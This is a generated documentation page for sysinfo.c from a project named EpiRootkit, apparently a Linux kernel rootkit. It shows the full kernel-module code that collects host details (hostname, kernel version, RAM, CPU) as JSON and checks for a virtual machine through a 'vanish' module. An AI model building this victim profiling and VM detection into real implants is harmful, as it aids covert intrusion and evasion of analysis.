EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
sysinfo.c File Reference
#include "sysinfo.h"
#include <linux/cpu.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/utsname.h>
#include "epirootkit.h"
#include "vanish.h"
Include dependency graph for sysinfo.c:

Go to the source code of this file.

Functions

char * get_sysinfo (void)
 

Function Documentation

◆ get_sysinfo()

char * get_sysinfo ( void  )

get_sysinfo - Retrieves system information and formats it as a JSON string. Return: A pointer to a dynamically allocated string containing the system information in JSON format, or NULL on failure.

Definition at line 18 of file sysinfo.c.

18 {
19 struct new_utsname *uts = utsname();
20 char *info = kmalloc(STD_BUFFER_SIZE, GFP_KERNEL);
21 if (!info)
22 return NULL;
23
24 unsigned long ram_mb = (totalram_pages() << PAGE_SHIFT) / 1024 / 1024;
25 int cpu_count = num_online_cpus();
26 const char *cpu_model =
27 boot_cpu_data.x86_model_id[0] ? boot_cpu_data.x86_model_id : "Unknown";
28
29 snprintf(info, STD_BUFFER_SIZE,
30 "{\n"
31 " \"hostname\": \"%s\",\n"
32 " \"system\": \"%s\",\n"
33 " \"virtual_env\": \"%s\",\n"
34 " \"release\": \"%s\",\n"
35 " \"version\": \"%s\",\n"
36 " \"architecture\": \"%s\",\n"
37 " \"ram_mb\": \"%lu\",\n"
38 " \"cpu_model\": \"%s\",\n"
39 " \"cpu_cores\": \"%d\"\n"
40 "}\n",
41 uts->nodename, uts->sysname,
42 is_running_in_virtual_env() ? "True" : "False", uts->release,
43 uts->version, uts->machine, ram_mb, cpu_model, cpu_count);
44
45 return info;
46}
#define STD_BUFFER_SIZE
Definition config.h:68
bool is_running_in_virtual_env(void)
Determines if the system is running in a virtualized environment.
Definition vanish.c:55